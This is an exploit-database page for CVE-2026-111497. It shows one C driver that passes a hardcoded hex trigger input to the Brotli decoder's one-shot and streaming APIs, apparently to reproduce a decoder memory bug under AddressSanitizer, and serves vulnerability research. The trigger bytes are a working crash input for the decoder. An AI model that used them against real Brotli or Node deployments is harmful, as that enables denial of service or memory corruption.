Exploit databaseDownload repository ZIP
GH-b1a007fc5b17c57d4ee7a9a50e8048d4
googlesky/cve-2026-111497
Sources for CVE-2026-111497
62 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files6
googlesky/cve-2026-111497Revision 1c4b512ae781
- ↑..Parent directory
- asan-driver-v2.c
- asan-driver-v3.c
- asan-driver.c
- node-decode-vulnerable.c
- node-zlib.js
- node_zlib.cc
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
analysis/asan-driver-v3.c
C · 1,871 bytes// CVE-2026-111497 — driver v3: compare Decompress vs DecompressStream entry points
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <brotli/decode.h>
static void hex2bin(const char* hex, uint8_t* out, size_t* n) {
*n = strlen(hex) / 2;
for (size_t i = 0; i < *n; i++) sscanf(hex + 2*i, "%2hhx", &out[i]);
}
int main(void) {
const char* trigger_hex = "200010414141fcffff07002228f00b60f7f41f000000";
uint8_t in[64]; size_t ilen;
hex2bin(trigger_hex, in, &ilen);
size_t outcap = 64; // small output buffer like Node's initial sync guess
uint8_t* out = malloc(outcap);
printf("=== one-shot BrotliDecoderDecompress ===\n");
size_t decoded = outcap;
BrotliDecoderResult r = BrotliDecoderDecompress(ilen, in, &decoded, out);
printf("result=%d decoded=%zu\n", r, decoded);
if (r == BROTLI_DECODER_RESULT_ERROR) {
// one-shot doesn't expose error code directly; use state API
}
printf("\n=== DecompressStream, all input at once, small out buffer ===\n");
{
BrotliDecoderState* s = BrotliDecoderCreateInstance(NULL, NULL, NULL);
const uint8_t* ni = in; size_t ai = ilen;
uint8_t* no = out; size_t ao = outcap;
for (int iter = 0; iter < 5; iter++) {
r = BrotliDecoderDecompressStream(s, &ai, &ni, &ao, &no, NULL);
printf("iter %d: result=%d consumed=%zu produced_here=%zu\n",
iter, r, ilen - ai, outcap - ao);
if (r == BROTLI_DECODER_RESULT_ERROR) {
printf("error_code=%d (%s)\n", BrotliDecoderGetErrorCode(s),
BrotliDecoderErrorString(BrotliDecoderGetErrorCode(s)));
break;
}
if (r == BROTLI_DECODER_RESULT_SUCCESS || r == BROTLI_DECODER_RESULT_NEEDS_MORE_INPUT) break;
// NEEDS_OUTPUT: reset output buffer and continue
no = out; ao = outcap;
}
BrotliDecoderDestroyInstance(s);
}
free(out);
return 0;
}